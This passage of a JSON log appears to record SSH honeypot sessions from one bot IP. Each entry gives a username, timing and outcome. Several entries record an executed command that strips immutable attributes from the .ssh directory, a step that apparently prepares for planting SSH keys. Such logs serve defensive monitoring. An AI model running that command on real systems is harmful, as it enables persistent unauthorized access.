  "id": "9b67f6d6-8311-4459-813f-52471959e352",
  "name": "bronzed-crisp-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 45042,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:11:54.329080+00:00",
  "ended_at": "2026-08-27T08:11:55.513747+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2b464d23-4a9a-46c2-b421-cbddd6f10f66",
  "name": "vaulted-obsidian-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 53000,
  "username": "oracle",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 355,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:10:09.081161+00:00",
  "ended_at": "2026-08-27T08:10:10.584016+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2261
 },
 {
  "id": "c48c1d3e-9aa5-4875-b56e-66143a70bff8",
  "name": "rapid-wiry-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 54322,
  "username": "oracle",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:09:54.179779+00:00",
  "ended_at": "2026-08-27T08:09:55.022125+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "63cd09bc-eca6-431b-96ca-a4a9adabf6c2",
  "name": "primal-blithe-goldfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 53716,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:09:52.717245+00:00",
  "ended_at": "2026-08-27T08:09:53.513218+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9b885516-221d-4f74-9843-6e3a63a4695a",
  "name": "pristine-thawing-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 33456,
  "username": "noreply",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 349,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:08:10.525906+00:00",
  "ended_at": "2026-08-27T08:08:12.272829+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "d92ee7cb-7f7d-42b2-a24b-2ad8cf609971",
  "name": "bronzed-silent-nuthatch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 34898,
  "username": "noreply",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:07:55.117169+00:00",
  "ended_at": "2026-08-27T08:07:56.253999+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "029043d0-d66f-45c2-ad43-9cea619ec44e",
  "name": "arctic-idle-lynx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 34186,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:07:53.416223+00:00",
  "ended_at": "2026-08-27T08:07:54.424874+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "976c541a-e9a4-44e6-807c-35a486a51cf9",
  "name": "deft-weathered-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 42158,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:06:10.277587+00:00",
  "ended_at": "2026-08-27T08:06:11.370164+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "fa4cb4a6-7c6e-4a37-9682-394989f02721",
  "name": "jagged-buoyant-guanaco",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 43802,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:05:55.420327+00:00",
  "ended_at": "2026-08-27T08:05:56.861871+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "26b614cd-8bb9-4764-91c9-f6b646d84f22",
  "name": "gallant-mossy-gannet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 42900,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:05:53.180574+00:00",
  "ended_at": "2026-08-27T08:05:54.762586+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7352cbb2-5e48-49fc-9aca-9aaf3991e360",
  "name": "sooty-grumpy-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 50852,
  "username": "alex",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:04:07.709778+00:00",
  "ended_at": "2026-08-27T08:04:09.679566+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2263
 },
 {
  "id": "656521b2-63a6-4b4e-859f-368b227d4658",
  "name": "tidal-sterling-seal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 52246,
  "username": "alex",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:03:51.236748+00:00",
  "ended_at": "2026-08-27T08:03:52.271170+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b063c7e4-5c08-4e5b-9784-a82e357f466c",
  "name": "frank-balmy-hare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 51438,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:03:49.227812+00:00",
  "ended_at": "2026-08-27T08:03:50.532452+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e709c5e7-de06-47f6-b4f4-902423420575",
  "name": "dusky-ruddy-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 59532,
  "username": "root2",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 356,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:02:04.456470+00:00",
  "ended_at": "2026-08-27T08:02:06.170696+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2305
 },
 {
  "id": "f6fcfcd4-a7e6-4907-af2f-4044f25e49f8",
  "name": "supple-wooded-plover",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 60940,
  "username": "root2",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:01:48.119118+00:00",
  "ended_at": "2026-08-27T08:01:50.021540+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b9f990d9-8777-4604-93c5-cc84c45f4672",
  "name": "genial-fearless-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 60232,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T08:01:46.503954+00:00",
  "ended_at": "2026-08-27T08:01:47.451486+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0786c559-9e56-498d-ae22-98af685d2aac",
  "name": "brave-fabled-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 39980,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 349,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T08:00:00.115200+00:00",
  "ended_at": "2026-08-27T08:00:01.100021+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "6c23bdd9-1d9e-406b-affe-ea1ebae2b99d",
  "name": "crisp-curious-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 41364,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:59:43.369441+00:00",
  "ended_at": "2026-08-27T07:59:44.942026+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4119a769-b876-4d1d-8f3e-cd385cf2d979",
  "name": "calm-twilight-mongoose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 40852,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:59:41.757310+00:00",
  "ended_at": "2026-08-27T07:59:42.700213+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "44d52360-b629-4e36-ab77-9c65f0ede2bf",
  "name": "stoic-nameless-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 48678,
  "username": "hduser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:57:46.188063+00:00",
  "ended_at": "2026-08-27T07:57:47.108583+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "4e6585a3-a39a-4bbc-ba94-bb03dfbb636f",
  "name": "ginger-indigo-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 49874,
  "username": "hduser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:57:31.550219+00:00",
  "ended_at": "2026-08-27T07:57:32.359294+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8e59646f-ed9a-4c49-90f4-927ad58ef746",
  "name": "quiet-thorny-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 49340,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:57:29.845469+00:00",
  "ended_at": "2026-08-27T07:57:30.818549+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d495506e-6814-4117-abf8-23cde34ce18c",
  "name": "rambling-keen-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 57380,
  "username": "joy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 335,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:55:48.231939+00:00",
  "ended_at": "2026-08-27T07:55:50.258474+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2242
 },
 {
  "id": "62246734-2a08-4de8-b99b-0b6505572436",
  "name": "woven-subtle-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 59282,
  "username": "joy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:55:32.244624+00:00",
  "ended_at": "2026-08-27T07:55:34.065065+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4e68cba6-9cf1-4777-9b83-25eadcb947d3",
  "name": "rustic-alpine-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 58156,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:55:29.581949+00:00",
  "ended_at": "2026-08-27T07:55:31.545512+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a52258ef-1abf-4146-ac32-2ac0ccdddfff",
  "name": "twilight-keen-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 37848,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 334,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:53:45.879113+00:00",
  "ended_at": "2026-08-27T07:53:47.990566+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2262
 },
 {
  "id": "f456f880-c048-4c4f-b99b-64268d8dd390",
  "name": "regal-umber-caribou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 39346,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:53:30.434518+00:00",
  "ended_at": "2026-08-27T07:53:31.936238+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aa2eaf5b-a552-47b6-be7c-8f8bf730fd5f",
  "name": "balmy-nameless-nightjar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 38624,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:53:28.320254+00:00",
  "ended_at": "2026-08-27T07:53:29.768653+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "526ccc32-3278-43c2-8f81-18ffc9142ec7",
  "name": "watchful-subtle-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 46544,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:51:40.258908+00:00",
  "ended_at": "2026-08-27T07:51:42.100928+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "94420638-9591-4a54-8dd9-19e476277180",
  "name": "vernal-dusky-quokka",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 47954,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:51:24.804190+00:00",
  "ended_at": "2026-08-27T07:51:25.789999+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7bbb85eb-0fd1-4843-802b-e4cdfb0da8b4",
  "name": "meadow-hushed-caracal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 47150,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:51:22.895363+00:00",
  "ended_at": "2026-08-27T07:51:24.160005+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c1b94865-7f0a-4723-a31c-97a41e6bf634",
  "name": "prairie-bitter-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 55244,
  "username": "fecjl1yg",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 326,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:49:36.271185+00:00",
  "ended_at": "2026-08-27T07:49:37.460032+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2283
 },
 {
  "id": "27e441e5-1b0d-4fb5-a123-33a43a559169",
  "name": "leafy-restless-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 56740,
  "username": "fecjl1yg",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:49:21.893359+00:00",
  "ended_at": "2026-08-27T07:49:22.555054+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dead33b5-4748-456c-9c5d-886607da0d0c",
  "name": "spirited-daring-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 55782,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:49:19.827500+00:00",
  "ended_at": "2026-08-27T07:49:21.247418+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fe1dcfdf-bc8f-4ee3-89e4-bf34ef8e35ff",
  "name": "wooded-crisp-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 35710,
  "username": "ali",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 349,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:47:25.569658+00:00",
  "ended_at": "2026-08-27T07:47:27.048008+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "c8db3666-2587-4b41-ab0d-a1b14125d729",
  "name": "stoic-mellow-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 37282,
  "username": "ali",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:47:09.579827+00:00",
  "ended_at": "2026-08-27T07:47:10.626538+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "014c058b-67ea-44ec-b8d7-3d7dd5b940e6",
  "name": "brave-rambling-kea",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 36424,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:47:07.072840+00:00",
  "ended_at": "2026-08-27T07:47:08.881188+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "370ee545-486b-492e-b59e-9b1bfd9f03f1",
  "name": "salty-fickle-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 44410,
  "username": "iso",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 335,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:45:09.960697+00:00",
  "ended_at": "2026-08-27T07:45:12.211443+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2244
 },
 {
  "id": "eaba9a6b-14a6-4586-bf0a-08cc004e39ed",
  "name": "sullen-proud-tanager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 45994,
  "username": "iso",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:44:54.038578+00:00",
  "ended_at": "2026-08-27T07:44:55.474564+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a8196a0c-5dbd-4ffc-984f-03b5f0fac470",
  "name": "gallant-earnest-zebu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 44930,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:44:51.545702+00:00",
  "ended_at": "2026-08-27T07:44:53.376884+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "877a14a2-757c-4dd2-b1ae-ceb3a9f27876",
  "name": "sterling-smooth-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 53106,
  "username": "alex",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 333,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:43:02.733485+00:00",
  "ended_at": "2026-08-27T07:43:04.546230+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "0683ef0c-2c1b-49f0-b245-8ba01bd0860f",
  "name": "feral-candid-redshank",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 54276,
  "username": "alex",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:42:46.769348+00:00",
  "ended_at": "2026-08-27T07:42:47.576000+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4220af96-42ea-4059-a1d1-03618fa02dfa",
  "name": "hidden-dewy-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 53778,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:42:45.275057+00:00",
  "ended_at": "2026-08-27T07:42:46.063521+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "73424e1c-eca9-420a-a275-fb117c641912",
  "name": "coastal-steady-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 33578,
  "username": "gabriel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 326,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:40:59.579350+00:00",
  "ended_at": "2026-08-27T07:41:01.875128+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2262
 },
 {
  "id": "ee2d1e01-cd66-4f54-9553-09e9441bd71f",
  "name": "kindly-salty-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 35148,
  "username": "gabriel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:40:45.353435+00:00",
  "ended_at": "2026-08-27T07:40:46.630007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4e3adcb0-7570-4f02-8309-1f4bcca56ed1",
  "name": "wiry-coral-waxwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 34240,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:40:43.063880+00:00",
  "ended_at": "2026-08-27T07:40:44.706485+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fe59c694-2267-4799-997e-6ec4815988c2",
  "name": "candid-hearty-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "46.253.45.10",
  "src_port": 42276,
  "username": "ookla",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 343,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T07:38:56.662436+00:00",
  "ended_at": "2026-08-27T07:38:57.979912+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "608933b6-2bd5-48f3-83eb-7e0fb8c2ac93",
  "name": "stoic-buoyant-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 43592,
  "username": "ookla",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:38:38.654374+00:00",
  "ended_at": "2026-08-27T07:38:40.402009+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "731aa02c-1f60-4ddf-b32a-e81907a68c73",
  "name": "honest-gleaming-oryx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "46.253.45.10",
  "src_port": 42952,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T07:38:36.973724+00:00",
  "ended_at": "2026-08-27T07:38:38.009999+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
